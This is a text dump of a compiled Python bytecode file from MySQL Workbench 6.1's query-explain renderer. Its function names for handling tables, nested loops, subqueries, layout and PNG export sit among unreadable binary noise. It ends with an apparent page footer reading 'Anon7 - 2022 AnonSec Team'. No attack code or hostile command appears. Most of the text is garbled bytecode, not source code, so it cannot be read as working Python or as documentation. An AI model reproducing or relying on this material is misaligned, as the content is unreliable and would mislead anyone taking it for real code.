|jddd|d|jdd|jdd|jd	St||d|d|dd
|jddd|d|jdd|jdd|jdSdS(NR(tmaterialized_from_subqueryRRtrowsRRiidRRRRRRR&RR(RARt!handle_materialized_from_subquerythandle_attached_subqueriesR3RR(RttableRDR9tmaterialized_from_subquery_nodetmaterialized_attributestattached_subqueries_R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pythandle_tablesB
0

cCsg}x|D]}t|tkrt|dkrd|kr|j|d}|j|t|dkrd|dkr|dd}nd}t|||d|d}|g}qt|dkrtdqq
t|tkrt|dkrd|kr|jd|d}|j|t|dkr}d}t|||d|d}|g}qt|dkrtdqq
|j|dq
Wt|dkst	|dS(	NiR=iRRisuh ohR(
RtdicttlenRARRt	Exceptionthandle_query_blockR8Rb(RtdatatpartsR7R=Rt	loop_nodeR((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pythandle_nested_loops2
0
0
c	Csg}x|D]}d}i}xg|jD]Y\}}|dkr\|j||t}q,|dkru|||<q,|j||q,W|j||j|q
Wt|||S(NRRRR(s	dependents	cacheablesusing_temporary_table(RtitemsRERR8RRR(	RRDt
subquery_listt
subqueriesRFtqblockRRRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyt handle_optimized_away_subqueries%s


c	Csg}x|D]}d}i}xg|jD]Y\}}|dkr\|j||t}q,|dkru|||<q,|j||q,W|j||j|q
Wt|||S(NRRRR(s	dependents	cacheablesusing_temporary_table(RRJRERR8RRR(	RRDRKRLRFRMRRRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyR<6s


cCsd}i}xp|jD]b\}}|dkrR|j||dtdt}q|dkrk|||<q|j||qW||fS(NRtis_subquerytis_materializedRRR(s	dependents	cacheablesusing_temporary_table(RRJRERR8(RRDRFtinner_qblockRRRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyR;Gs!
cCsi}g}x|jD]\}}|d
kr>|||<q|dkrx]|D]B}|jd|jd|j|jd|jdqQWq|j||qWt|d|d	|S(NRRR(tquery_specificationsRRRRR)(susing_temporary_tablesaccess_types
table_name(RJRARRER8R&(RRDRFRtqblocksRRFtqspec((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pythandle_union_resultTs



)c	CsRd}d}i}d}d}	x|jD]\}
}|
dkrg|dksUt|j|}q+|
dkrd|krt|dkr|d|d<q|j|}q+|
dkr|j|
|}	q+|
dkr|dkst|j|
|}q+|
dkr!|||
<q+|
dkr6|}q+|
d
krEq+|
dkrTq+|
dkr|dksrt|j|
|}q+|
dkr|j	|
|}q+|j
|
|q+W|dkr|r|S|rt|||	|d|d|St|||	|d|d|Sn5|	r8t
||||||	St
|||||SdS(NRR=Ritoptimized_away_subqueriesRRRRRRR&Rtunion_resultRRR(sgrouping_operationsordering_operationsduplicates_removal(susing_temporary_tablesusing_filesorts	dependent(RRJRbRIRCRARNRERUR<R8RRR(RRDRFRORPtcontentR&RRRVRRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyREdsf
	
cCsOg}xB|jD]4\}}|dkr|j|j||qqW|S(NR(RJRRE(RRFtoutputRRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pythandles
 cCs
|j|S(N(RZ(RRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyR,scCsF|jrBddl}|j}|jj|d|jGHndS(Nii(R-R.ROR/(RR.RP((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyROs
	cCs||j_dS(N(R1Rs(Rtv((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyt_set_tooltipscCs
|jjS(N(R1Rs(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyt_get_tooltipscCsKt||_|jj|j||_|jjjdddddS(Ng?i(RR1RR-R2R'R(Rtviewtqueue_repaint_cb((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pytinit_canvass	cCs||f|_dS(N(R0(RRR((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyt
set_offsetscCsA||jd7}||jd7}|jjt|t|S(Nii(R0R2R|R3(RRR((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyR|scCsjtd|jdd|jd}t|}|jj|dd|jd|jd|j|dS(NR/iR1i(R	R3R
R1trepainttwrite_to_png(RtpathtimgR]((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyt
export_to_pngs#*cCsttdddd}|jj||jj|j|j|jj\}}||jd||jdf|_|jS(NR/iR1i(R
R	R-RjRntglobal_paddingR3(RtpaddingRtwR((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pytlayouts%cCs|j|jd|jdy.|jj|dd|jd|jdWn1tk
rddl}td|jnXdS(Niiis!Exception repainting explain: %s
(	RhR0R1RbR3RDt	tracebackRt
format_exc(RR]Rk((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyRbs.
cCs!|jrt|St|SdS(N(R5RR(RRF((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyR\s	
cCsd|k|_||_dS(Ntdata_read_per_join(R5R@(RRD((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pytshow_cost_info_typescCs
||_dS(N(R4(Rtflag((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pytshow_aggregated_cost_infos(#R!R"RRlRR"R#RRgRR8RARIRNR<R;RURRERZR,ROR\R]RRsR`RaR|RfRjRbR\RnRp(((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyR*s>		,	!			
	B														($Ryt
workbench.logRtworkbench.graphics.canvasRRRRRRRRtworkbench.graphics.cairo_utilsR	R
RRRRR#RRRRRRRtWHITERRRRRRR&R*(((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\explain_renderer.pyt<module>s2:		
	h](B0

Anon7 - 2022
AnonSec Team